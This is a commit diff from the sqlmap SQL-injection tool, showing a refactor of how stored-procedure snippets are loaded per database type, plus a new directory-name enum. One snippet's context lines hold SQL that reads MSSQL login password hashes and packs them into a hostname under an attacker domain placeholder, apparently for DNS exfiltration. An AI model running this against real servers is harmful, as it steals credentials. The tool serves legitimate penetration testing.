Thanks to visit codestin.com
Credit goes to github.com

Skip to content

Commit 8d7912a

Browse files
committed
minor update and refactoring
1 parent bf923a9 commit 8d7912a

5 files changed

Lines changed: 21 additions & 5 deletions

File tree

lib/core/common.py

Lines changed: 5 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -61,6 +61,7 @@
6161
from lib.core.convert import urldecode
6262
from lib.core.convert import urlencode
6363
from lib.core.enums import DBMS
64+
from lib.core.enums import DBMS_DIRECTORY_NAME
6465
from lib.core.enums import HTTPHEADER
6566
from lib.core.enums import HTTPMETHOD
6667
from lib.core.enums import OS
@@ -1807,12 +1808,14 @@ def parseXmlFile(xmlFile, handler):
18071808
parse(stream, handler)
18081809
stream.close()
18091810

1810-
def getSPLSnippet(name, **variables):
1811+
def getSPLSnippet(dbms, name, **variables):
18111812
"""
18121813
Returns content of SPL snippet located inside "procs" directory
18131814
"""
18141815

1815-
filename = os.path.join(paths.SQLMAP_PROCS_PATH, "%s.txt" % name)
1816+
_ = { DBMS.MSSQL: DBMS_DIRECTORY_NAME.MSSQL, DBMS.PGSQL: DBMS_DIRECTORY_NAME.PGSQL }
1817+
1818+
filename = os.path.join(paths.SQLMAP_PROCS_PATH, _[dbms], "%s.txt" % name)
18161819
checkFile(filename)
18171820
retVal = readCachedFileContent(filename)
18181821

lib/core/enums.py

Lines changed: 13 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -26,6 +26,7 @@ class SORT_ORDER:
2626

2727
class DBMS:
2828
ACCESS = "Microsoft Access"
29+
DB2 = "IBM DB2"
2930
FIREBIRD = "Firebird"
3031
MAXDB = "SAP MaxDB"
3132
MSSQL = "Microsoft SQL Server"
@@ -34,7 +35,18 @@ class DBMS:
3435
PGSQL = "PostgreSQL"
3536
SQLITE = "SQLite"
3637
SYBASE = "Sybase"
37-
DB2 = "IBM DB2"
38+
39+
class DBMS_DIRECTORY_NAME:
40+
ACCESS = "access"
41+
DB2 = "db2"
42+
FIREBIRD = "firebird"
43+
MAXDB = "maxdb"
44+
MSSQL = "mssqlserver"
45+
MYSQL = "mysql"
46+
ORACLE = "oracle"
47+
PGSQL = "postgresql"
48+
SQLITE = "sqlite"
49+
SYBASE = "sybase"
3850

3951
class CUSTOM_LOGGING:
4052
PAYLOAD = 9

lib/takeover/xp_cmdshell.py

Lines changed: 2 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -17,6 +17,7 @@
1717
from lib.core.data import kb
1818
from lib.core.data import logger
1919
from lib.core.data import paths
20+
from lib.core.enums import DBMS
2021
from lib.core.exception import sqlmapUnsupportedFeatureException
2122
from lib.core.session import setXpCmdshellAvailability
2223
from lib.core.unescaper import unescaper
@@ -63,7 +64,7 @@ def __xpCmdshellConfigure2005(self, mode):
6364
debugMsg += "stored procedure"
6465
logger.debug(debugMsg)
6566

66-
cmd = getSPLSnippet("configure_xp_cmdshell", ENABLE=str(mode))
67+
cmd = getSPLSnippet(DBMS.MSSQL, "configure_xp_cmdshell", ENABLE=str(mode))
6768

6869
return cmd
6970

File renamed without changes.
Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -1,4 +1,4 @@
1-
# Reference: http://www.defcon.org/images/defcon-17/dc-17-presentations/defcon-17-joseph_mccray-adv_sql_injection.pdf
1+
# Reference: http://www.defcon.org/images/defcon-15/dc15-presentations/dc-15-karlsson.pdf
22

33
DECLARE @host varchar(1024);
44
SELECT @host = name + '-' + master.sys.fn_varbintohexstr(password_hash) + '.%DOMAIN%' FROM sys.sql_logins;

0 commit comments

Comments
 (0)